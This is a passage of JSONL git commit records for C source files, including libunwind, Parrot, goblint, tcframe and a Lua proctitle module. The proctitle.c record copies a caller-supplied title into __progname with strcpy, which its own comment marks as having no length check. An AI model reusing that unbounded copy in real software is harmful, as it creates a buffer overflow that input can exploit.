/gpdb,50wu\/gpdb,xinzweb\/gpdb,postmind-net\/postgres-xl,cjcjameson\/gpdb,rvs\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,kaknikhil\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,yazun\/postgres-xl,pavanvd\/postgres-xl,Postgres-XL\/Postgres-XL,Quikling\/gpdb,tpostgres-projects\/tPostgres,lpetrov-pivotal\/gpdb,atris\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,arcivanov\/postgres-xl,adam8157\/gpdb,rvs\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,lintzc\/gpdb,cjcjameson\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,0x0FFF\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,tangp3\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,zaksoup\/gpdb,lpetrov-pivotal\/gpdb,royc1\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,xuegang\/gpdb,CraigHarris\/gpdb,zeroae\/postgres-xl,pavanvd\/postgres-xl,jmcatamney\/gpdb,tangp3\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,atris\/gpdb,zaksoup\/gpdb,snaga\/postgres-xl,ovr\/postgres-xl,Quikling\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,xuegang\/gpdb,royc1\/gpdb,snaga\/postgres-xl,edespino\/gpdb,xinzweb\/gpdb,ahachete\/gpdb,kmjungersen\/PostgresXL,xinzweb\/gpdb,atris\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,cjcjameson\/gpdb,randomtask1155\/gpdb,atris\/gpdb,ovr\/postgres-xl,yuanzhao\/gpdb,tpostgres-projects\/tPostgres,kaknikhil\/gpdb,Postgres-XL\/Postgres-XL,zaksoup\/gpdb,50wu\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,tpostgres-projects\/tPostgres,rubikloud\/gpdb,ashwinstar\/gpdb,kaknikhil\/gpdb,kaknikhil\/gpdb,foyzur\/gpdb,oberstet\/postgres-xl,arcivanov\/postgres-xl,cjcjameson\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,snaga\/postgres-xl,Chibin\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,tangp3\/gpdb,kmjungersen\/PostgresXL,ahachete\/gpdb,tpostgres-projects\/tPostgres,rvs\/gpdb,greenplum-db\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,tangp3\/gpdb,foyzur\/gpdb,lintzc\/gpdb,yazun\/postgres-xl,foyzur\/gpdb,postmind-net\/postgres-xl,rvs\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,rvs\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,rubikloud\/gpdb,arcivanov\/postgres-xl,lpetrov-pivotal\/gpdb,lintzc\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,rvs\/gpdb,ovr\/postgres-xl,adam8157\/gpdb,royc1\/gpdb,tangp3\/gpdb,tpostgres-projects\/tPostgres,0x0FFF\/gpdb,tangp3\/gpdb,rvs\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,Chibin\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,arcivanov\/postgres-xl,oberstet\/postgres-xl,rubikloud\/gpdb,zaksoup\/gpdb,techdragon\/Postgres-XL,royc1\/gpdb,kmjungersen\/PostgresXL,kaknikhil\/gpdb,ahachete\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,zeroae\/postgres-xl,rubikloud\/gpdb,adam8157\/gpdb,Chibin\/gpdb,Chibin\/gpdb,lintzc\/gpdb,royc1\/gpdb,Quikling\/gpdb,ahachete\/gpdb,randomtask1155\/gpdb,xuegang\/gpdb,xuegang\/gpdb,Postgres-XL\/Postgres-XL,pavanvd\/postgres-xl,randomtask1155\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,arcivanov\/postgres-xl,zeroae\/postgres-xl,janebeckman\/gpdb,0x0FFF\/gpdb,foyzur\/gpdb,pavanvd\/postgres-xl,rvs\/gpdb,adam8157\/gpdb,edespino\/gpdb,janebeckman\/gpdb,50wu\/gpdb,ashwinstar\/gpdb,chrishajas\/gpdb,kaknikhil\/gpdb,Postgres-XL\/Postgres-XL,edespino\/gpdb,yuanzhao\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb,arcivanov\/postgres-xl,ovr\/postgres-xl,atris\/gpdb,rubikloud\/gpdb,foyzur\/gpdb,chrishajas\/gpdb,xuegang\/gpdb,lintzc\/gpdb,CraigHarris\/gpdb,adam8157\/gpdb,snaga\/postgres-xl,jmcatamney\/gpdb,oberstet\/postgres-xl,Postgres-XL\/Postgres-XL,randomtask1155\/gpdb,greenplum-db\/gpdb,randomtask1155\/gpdb,tangp3\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,rvs\/gpdb,adam8157\/gpdb,atris\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,techdragon\/Postgres-XL,0x0FFF\/gpdb,lisakowen\/gpdb,oberstet\/postgres-xl,Chibin\/gpdb,atris\/gpdb"}
{"commit":"8578c3133ace5a4cc6cca7119e6ed96eeee37f78","old_file":"src\/ia64\/Gget_accessors-ia64.c","new_file":"src\/ia64\/Gget_accessors-ia64.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nPROTECTED unw_accessors_t *\nunw_get_accessors (unw_addr_space_t as)\n{\n  if (unw.needs_initialization)\n    ia64_init ();\n  return &as->acc;\n}\n","subject":"Declare libunwind-entry-points as PROTECTED to ensure local uses get resolved within the library itself.","message":"Declare libunwind-entry-points as PROTECTED to ensure local uses get\nresolved within the library itself.\n\n2004\/01\/03 00:24:50-08:00 hp.com!davidm\nRename: src\/ia64\/get_accessors-ia64.c -> src\/ia64\/Gget_accessors-ia64.c\n\n(Logical change 1.151)\n","lang":"C","license":"mit","repos":"yuyichao\/libunwind,Keno\/libunwind,vegard\/libunwind,olibc\/libunwind,igprof\/libunwind,krytarowski\/libunwind,vegard\/libunwind,evaautomation\/libunwind,ehsan\/libunwind,pathscale\/libunwind,androidarmv6\/android_external_libunwind,libunwind\/libunwind,rogwfu\/libunwind,tony\/libunwind,maltek\/platform_external_libunwind,jrmuizel\/libunwind,cms-externals\/libunwind,rntz\/libunwind,tronical\/libunwind,atanasyan\/libunwind-android,bo-on-software\/libunwind,tkelman\/libunwind,unkadoug\/libunwind,zeldin\/platform_external_libunwind,SyndicateRogue\/libunwind,dropbox\/libunwind,vegard\/libunwind,atanasyan\/libunwind-android,Keno\/libunwind,tronical\/libunwind,cloudius-systems\/libunwind,rantala\/libunwind,fillexen\/libunwind,djwatson\/libunwind,SyndicateRogue\/libunwind,evaautomation\/libunwind,zeldin\/platform_external_libunwind,bo-on-software\/libunwind,zliu2014\/libunwind-tilegx,Keno\/libunwind,jrmuizel\/libunwind,yuyichao\/libunwind,tony\/libunwind,rogwfu\/libunwind,DroidSim\/platform_external_libunwind,frida\/libunwind,tkelman\/libunwind,geekboxzone\/lollipop_external_libunwind,fdoray\/libunwind,rntz\/libunwind,krytarowski\/libunwind,wdv4758h\/libunwind,adsharma\/libunwind,joyent\/libunwind,rogwfu\/libunwind,tronical\/libunwind,zliu2014\/libunwind-tilegx,zeldin\/platform_external_libunwind,DroidSim\/platform_external_libunwind,0xlab\/0xdroid-external_libunwind,pathscale\/libunwind,joyent\/libunwind,rntz\/libunwind,0xlab\/0xdroid-external_libunwind,geekboxzone\/mmallow_external_libunwind,rantala\/libunwind,dagar\/libunwind,mpercy\/libunwind,wdv4758h\/libunwind,geekboxzone\/lollipop_external_libunwind,atanasyan\/libunwind,ehsan\/libunwind,cms-externals\/libunwind,tony\/libunwind,dreal-deps\/libunwind,androidarmv6\/android_external_libunwind,vtjnash\/libunwind,vtjnash\/libunwind,tkelman\/libunwind,mpercy\/libunwind,bo-on-software\/libunwind,frida\/libunwind,androidarmv6\/android_external_libunwind,frida\/libunwind,dreal-deps\/libunwind,adsharma\/libunwind,djwatson\/libunwind,libunwind\/libunwind,joyent\/libunwind,android-ia\/platform_external_libunwind,maltek\/platform_external_libunwind,CyanogenMod\/android_external_libunwind,ehsan\/libunwind,vtjnash\/libunwind,project-zerus\/libunwind,SyndicateRogue\/libunwind,geekboxzone\/mmallow_external_libunwind,libunwind\/libunwind,atanasyan\/libunwind,project-zerus\/libunwind,atanasyan\/libunwind-android,zliu2014\/libunwind-tilegx,dagar\/libunwind,android-ia\/platform_external_libunwind,olibc\/libunwind,rantala\/libunwind,martyone\/libunwind,igprof\/libunwind,lat\/libunwind,adsharma\/libunwind,unkadoug\/libunwind,0xlab\/0xdroid-external_libunwind,Chilledheart\/libunwind,martyone\/libunwind,DroidSim\/platform_external_libunwind,Chilledheart\/libunwind,dropbox\/libunwind,fillexen\/libunwind,lat\/libunwind,evaautomation\/libunwind,jrmuizel\/libunwind,krytarowski\/libunwind,maltek\/platform_external_libunwind,dagar\/libunwind,pathscale\/libunwind,dreal-deps\/libunwind,project-zerus\/libunwind,geekboxzone\/mmallow_external_libunwind,cms-externals\/libunwind,lat\/libunwind,atanasyan\/libunwind,geekboxzone\/lollipop_external_libunwind,olibc\/libunwind,cloudius-systems\/libunwind,CyanogenMod\/android_external_libunwind,fdoray\/libunwind,Chilledheart\/libunwind,mpercy\/libunwind,fdoray\/libunwind,djwatson\/libunwind,martyone\/libunwind,CyanogenMod\/android_external_libunwind,android-ia\/platform_external_libunwind,cloudius-systems\/libunwind,unkadoug\/libunwind,dropbox\/libunwind,fillexen\/libunwind,wdv4758h\/libunwind,igprof\/libunwind,yuyichao\/libunwind"}
{"commit":"1b0055bb70f3d1a0650f25b53c68b9984414ed87","old_file":"examples\/double-check.c","new_file":"examples\/double-check.c","old_contents":"","new_contents":"#include \"rmc.h\"\n\nstruct mutex_t;\nstruct foo_t;\n\ntypedef struct mutex_t mutex_t;\ntypedef struct foo_t foo_t;\n\nextern void mutex_lock(mutex_t *p);\nextern void mutex_unlock(mutex_t *p);\nextern foo_t *new_foo(void);\n\nextern mutex_t *foo_lock;\n\n\nfoo_t *get_foo(void) {\n    static foo_t *single_foo = 0;\n\n    XEDGE(read, post);\n    VEDGE(construct, update);\n\n    L(read, foo_t *r = single_foo);\n    if (r != 0) return r;\n\n    mutex_lock(foo_lock);\n    L(read, r = single_foo);\n    if (r == 0) {\n        L(construct, r = new_foo());\n        L(update, single_foo = r);\n    }\n    mutex_unlock(foo_lock);\n    return r;\n}\n","subject":"Add a double check locking example","message":"Add a double check locking example\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"1c48d320cbd3c0789d4bdf4039f2d4188a3087b9","old_file":"src\/utils\/cuda_helper.h","new_file":"src\/utils\/cuda_helper.h","old_contents":"#ifndef SRC_UTILS_CUDA_HELPER_H_\n\n#define SRC_UTILS_CUDA_HELPER_H_\n\n#include <cuda.h>\n#include <cuda_runtime.h>\n#include <iostream>\n\nstatic void HandleError(cudaError_t err, const char *file, int line)\n{\n  if (err != cudaSuccess)\n  {\n    printf(\"%s in %s at line %d\\n\", cudaGetErrorString(err), file, line);\n    exit(EXIT_FAILURE);\n  }\n}\n\n#define HANDLE_ERROR(err) (HandleError(err, __FILE__, __LINE__))\n\n#define HANDLE_NULL(a)                                                         \\\n  {                                                                            \\\n    if (a == NULL)                                                             \\\n    {                                                                          \\\n      printf(\"Host memory failed in %s at line %d\\n\", __FILE__, __LINE__);     \\\n      exit(EXIT_FAILURE);                                                      \\\n    }                                                                          \\\n  }\n\n#endif  \/\/ SRC_UTILS_CUDA_HELPER_H_\n","new_contents":"#ifndef SRC_UTILS_CUDA_HELPER_H_\n\n#define SRC_UTILS_CUDA_HELPER_H_\n\n#include <cuda.h>\n#include <cuda_runtime.h>\n#include <iostream>\n#include <stdexcept>\n\nstatic void HandleError(cudaError_t error, const char *file, int line)\n{\n  if (error != cudaSuccess)\n  {\n    printf(\"%s in %s at line %d\\n\", cudaGetErrorString(error), file, line);\n    throw std::runtime_error(cudaGetErrorString(error));\n  }\n}\n\n#define HANDLE_ERROR(error) (HandleError(error, __FILE__, __LINE__))\n\n#define HANDLE_NULL(a)                                                         \\\n  {                                                                            \\\n    if (a == NULL)                                                             \\\n    {                                                                          \\\n      printf(\"Host memory failed in %s at line %d\\n\", __FILE__, __LINE__);     \\\n      exit(EXIT_FAILURE);                                                      \\\n    }                                                                          \\\n  }\n\n#endif  \/\/ SRC_UTILS_CUDA_HELPER_H_\n","subject":"Throw exception on cuda error to get a stack trace.","message":"Throw exception on cuda error to get a stack trace.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"be22d2f84576fc2ff93aea23da44d004529d84d5","old_file":"tests\/regression\/13-privatized\/57-singlethreaded-unlock.c","new_file":"tests\/regression\/13-privatized\/57-singlethreaded-unlock.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\n\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  \/\/ just for going to multithreaded mode\n  return NULL;\n}\n\nint main() {\n  pthread_mutex_lock(&A);\n  g = 1;\n  pthread_mutex_unlock(&A); \/\/ singlethreaded mode unlock\n\n  g = 2;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  assert(g == 2);\n  return 0;\n}\n","subject":"Add regression test (based on ctrace_comb) where singlethreaded mode unlock causes side effect with lazy-mine","message":"Add regression test (based on ctrace_comb) where singlethreaded mode unlock causes side effect with lazy-mine\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"e6420a303bfdeeba04ec7b00367ef4474e96e5a3","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.52f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.53f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increase version number to 1.53","message":"Increase version number to 1.53\n","lang":"C","license":"apache-2.0","repos":"google\/UIforETW,ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW"}
{"commit":"f35ae9ff1a231a0db7e0046aedeece0b894a46b9","old_file":"src\/kbase\/basic_types.h","new_file":"src\/kbase\/basic_types.h","old_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KBASE_BASIC_TYPES_H_\n#define KBASE_BASIC_TYPES_H_\n\n#include <cstdint>\n#include <string>\n\n\/\/ Defines types that would be shared by among several files.\nnamespace kbase {\n\n\/\/ |PathKey| is used by |PathService| and |BasePathProvider|.\nusing PathKey = int;\n\nusing PathChar = wchar_t;\nusing PathString = std::basic_string<PathChar>;\n\nusing byte = uint8_t;\n\n\/\/ Casts an enum value into an equivalent integer.\ntemplate<typename E>\nconstexpr auto enum_cast(E e)\n{\n    return static_cast<std::underlying_type_t<E>>(e);\n}\n\n}   \/\/ namespace kbase\n\n#endif  \/\/ KBASE_BASIC_TYPES_H_","new_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KBASE_BASIC_TYPES_H_\n#define KBASE_BASIC_TYPES_H_\n\n#include <cstdint>\n#include <string>\n\n#include \"kbase\/basic_macros.h\"\n\n\/\/ Defines types that would be shared by among several files.\nnamespace kbase {\n\n\/\/ |PathKey| is used by |PathService| and |BasePathProvider|.\nusing PathKey = int;\n\n#if defined(OS_WIN)\nusing PathChar = wchar_t;\n#else\nusing PathChar = char;\n#endif\n\nusing PathString = std::basic_string<PathChar>;\n\nusing byte = uint8_t;\n\n\/\/ Casts an enum value into an equivalent integer.\ntemplate<typename E>\nconstexpr auto enum_cast(E e)\n{\n    return static_cast<std::underlying_type_t<E>>(e);\n}\n\n}   \/\/ namespace kbase\n\n#endif  \/\/ KBASE_BASIC_TYPES_H_","subject":"Make PathChar compatible with other platform","message":"Make PathChar compatible with other platform\n","lang":"C","license":"mit","repos":"kingsamchen\/KBase,kingsamchen\/KBase_Demo,kingsamchen\/KBase,kingsamchen\/KBase_Demo"}
{"commit":"12335f0514a13e146f88c7ada3416d2ab99aa5a8","old_file":"include\/parrot\/stacks.h","new_file":"include\/parrot\/stacks.h","old_contents":"\/* stacks.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Stack handling routines for Parrot\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_STACKS_H_GUARD)\n#define PARROT_STACKS_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\n#define STACK_CHUNK_DEPTH 256\n\nstruct Stack_Entry {\n    INTVAL entry_type;\n    INTVAL flags;\n    void (*cleanup)(struct Stack_Entry *);\n    union {\n        FLOATVAL num_val;\n        INTVAL int_val;\n        PMC *pmc_val;\n        STRING *string_val;\n        void *generic_pointer;\n    } entry;\n};\n\nstruct Stack {\n  INTVAL used;\n  INTVAL free;\n  struct StackChunk *next;\n  struct StackChunk *prev;\n  struct Stack_Entry entry[STACK_CHUNK_DEPTH];\n};\n\nstruct Stack_Entry *push_generic_entry(struct Perl_Interp *, void *thing, INTVAL type, void *cleanup);\nvoid *pop_generic_entry(struct Perl_Interp *, void *where, INTVAL type);\nvoid toss_geleric_entry(struct Perl_Interp *, INTVAL type);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","new_contents":"\/* stacks.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Stack handling routines for Parrot\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#if !defined(PARROT_STACKS_H_GUARD)\n#define PARROT_STACKS_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\n#define STACK_CHUNK_DEPTH 256\n\nstruct Stack_Entry {\n    INTVAL entry_type;\n    INTVAL flags;\n    void (*cleanup)(struct Stack_Entry *);\n    union {\n        FLOATVAL num_val;\n        INTVAL int_val;\n        PMC *pmc_val;\n        STRING *string_val;\n        void *generic_pointer;\n    } entry;\n};\n\nstruct Stack {\n  INTVAL used;\n  INTVAL free;\n  struct StackChunk *next;\n  struct StackChunk *prev;\n  struct Stack_Entry entry[STACK_CHUNK_DEPTH];\n};\n\nstruct Stack_Entry *push_generic_entry(struct Perl_Interp *, void *thing, INTVAL type, void *cleanup);\nvoid *pop_generic_entry(struct Perl_Interp *, void *where, INTVAL type);\nvoid toss_generic_entry(struct Perl_Interp *, INTVAL type);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Fix typo in function name","message":"Fix typo in function name\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@255 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"FROGGS\/parrot,parrot\/parrot,youprofit\/parrot,tewk\/parrot-select,youprofit\/parrot,tewk\/parrot-select,tkob\/parrot,gagern\/parrot,FROGGS\/parrot,gagern\/parrot,FROGGS\/parrot,tewk\/parrot-select,parrot\/parrot,tkob\/parrot,gagern\/parrot,parrot\/parrot,gitster\/parrot,youprofit\/parrot,tkob\/parrot,tkob\/parrot,tkob\/parrot,gagern\/parrot,tewk\/parrot-select,gagern\/parrot,gitster\/parrot,parrot\/parrot,tkob\/parrot,tewk\/parrot-select,fernandobrito\/parrot,gagern\/parrot,gagern\/parrot,youprofit\/parrot,youprofit\/parrot,FROGGS\/parrot,FROGGS\/parrot,FROGGS\/parrot,fernandobrito\/parrot,gitster\/parrot,gitster\/parrot,tkob\/parrot,fernandobrito\/parrot,tewk\/parrot-select,gitster\/parrot,youprofit\/parrot,fernandobrito\/parrot,gitster\/parrot,youprofit\/parrot,fernandobrito\/parrot,tkob\/parrot,fernandobrito\/parrot,parrot\/parrot,fernandobrito\/parrot,gitster\/parrot,FROGGS\/parrot,FROGGS\/parrot,tewk\/parrot-select,youprofit\/parrot"}
{"commit":"5b89216a3f55e7ad439beac105896ca881555b4f","old_file":"proctitle.c","new_file":"proctitle.c","old_contents":"#include <lua.h>\n#include <lauxlib.h>\n#include <string.h>\n\nstatic char *\nfind_argv0(lua_State *L)\n{\n    extern char *__progname;\n\n    return __progname;\n}\n\nstatic int\nset_proctitle(lua_State *L)\n{\n    const char *title = luaL_checkstring(L, 1);\n    char *argv0 = find_argv0(L);\n\n    \/\/ XXX no length check\n    strcpy(argv0, title);\n\n    return 0;\n}\n\nint\nluaopen_proctitle(lua_State *L)\n{\n    lua_pushcfunction(L, set_proctitle);\n    return 1;\n}\n","new_contents":"\/*\n * Copyright (c) 2015 Rob Hoelz <rob AT SIGN hoelz.ro>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n*\/\n\n#include <lua.h>\n#include <lauxlib.h>\n#include <string.h>\n\nstatic char *\nfind_argv0(lua_State *L)\n{\n    extern char *__progname;\n\n    return __progname;\n}\n\nstatic int\nset_proctitle(lua_State *L)\n{\n    const char *title = luaL_checkstring(L, 1);\n    char *argv0 = find_argv0(L);\n\n    \/\/ XXX no length check\n    strcpy(argv0, title);\n\n    return 0;\n}\n\nint\nluaopen_proctitle(lua_State *L)\n{\n    lua_pushcfunction(L, set_proctitle);\n    return 1;\n}\n","subject":"Add license header to source","message":"Add license header to source\n","lang":"C","license":"mit","repos":"hoelzro\/lua-proctitle"}
{"commit":"1042c0104d33ab2a3a220ef5f91c9e225af8c080","old_file":"include\/tcframe\/type.h","new_file":"include\/tcframe\/type.h","old_contents":"#ifndef TCFRAME_TYPE_H\n#define TCFRAME_TYPE_H\n\n#include <ostream>\n#include <type_traits>\n\nusing std::enable_if;\nusing std::integral_constant;\nusing std::is_arithmetic;\nusing std::is_same;\nusing std::ostream;\nusing std::string;\n\nnamespace tcframe {\n\nclass Variable {\npublic:\n    virtual void printTo(ostream& out) = 0;\n    virtual ~Variable() { };\n};\n\ntemplate<typename T>\nusing RequiresScalar = typename enable_if<integral_constant<bool, is_arithmetic<T>::value || is_same<string, T>::value>::value>::type;\n\ntemplate<typename T>\nclass Scalar : public Variable {\nprivate:\n    T* value;\n\npublic:\n    explicit Scalar(T& value) {\n        this->value = &value;\n    }\n\n    void printTo(ostream& out) {\n        out << *value;\n    }\n};\n\n}\n\n#endif\n","new_contents":"#ifndef TCFRAME_TYPE_H\n#define TCFRAME_TYPE_H\n\n#include <ostream>\n#include <type_traits>\n\nusing std::enable_if;\nusing std::integral_constant;\nusing std::is_arithmetic;\nusing std::is_same;\nusing std::ostream;\nusing std::string;\n\nnamespace tcframe {\n\nclass Variable {\npublic:\n    virtual void printTo(ostream& out) = 0;\n    virtual ~Variable() { };\n};\n\ntemplate<typename T>\nusing RequiresScalar = typename enable_if<is_arithmetic<T>::value || is_same<string, T>::value>::type;\n\ntemplate<typename T>\nclass Scalar : public Variable {\nprivate:\n    T* value;\n\npublic:\n    explicit Scalar(T& value) {\n        this->value = &value;\n    }\n\n    void printTo(ostream& out) {\n        out << *value;\n    }\n};\n\n}\n\n#endif\n","subject":"Simplify SFINAE expression for RequiresScalar","message":"Simplify SFINAE expression for RequiresScalar\n","lang":"C","license":"mit","repos":"tcframe\/tcframe,ia-toki\/tcframe,fushar\/tcframe,ia-toki\/tcframe,tcframe\/tcframe,fushar\/tcframe"}
{"commit":"458ca11952e77331db5bc4b9e9e8e3682e3b1de3","old_file":"lib\/quagga\/src\/quagga.h","new_file":"lib\/quagga\/src\/quagga.h","old_contents":"\/*\n * OLSRd Quagga plugin\n *\n * Copyright (C) 2006-2008 Immo 'FaUl' Wehrenberg <immo@chaostreff-dortmund.de>\n * Copyright (C) 2007-2010 Vasilis Tsiligiannis <acinonyxs@yahoo.gr>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation or - at your option - under\n * the terms of the GNU General Public Licence version 2 but can be\n * linked to any BSD-Licenced Software with public available sourcecode\n *\n *\/\n\n\/* -------------------------------------------------------------------------\n * File               : quagga.h\n * Description        : header file for quagga.c\n * ------------------------------------------------------------------------- *\/\n\n#include \"routing_table.h\"\n\n\/* Zebra socket *\/\n#ifndef ZEBRA_SOCKPATH\n#define ZEBRA_SOCKPATH \"\/var\/run\/quagga\/zserv.api\"\n#endif\n\n\/* Quagga plugin flags *\/\n\nvoid zebra_init(void);\nvoid zebra_fini(void);\nint zebra_addroute(const struct rt_entry *);\nint zebra_delroute(const struct rt_entry *);\nvoid zebra_redistribute(uint16_t cmd);\n\n\/*\n * Local Variables:\n * c-basic-offset: 2\n * indent-tabs-mode: nil\n * End:\n *\/\n","new_contents":"\/*\n * OLSRd Quagga plugin\n *\n * Copyright (C) 2006-2008 Immo 'FaUl' Wehrenberg <immo@chaostreff-dortmund.de>\n * Copyright (C) 2007-2012 Vasilis Tsiligiannis <acinonyxs@yahoo.gr>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation or - at your option - under\n * the terms of the GNU General Public Licence version 2 but can be\n * linked to any BSD-Licenced Software with public available sourcecode\n *\n *\/\n\n\/* -------------------------------------------------------------------------\n * File               : quagga.h\n * Description        : header file for quagga.c\n * ------------------------------------------------------------------------- *\/\n\n#include \"routing_table.h\"\n\n\/* 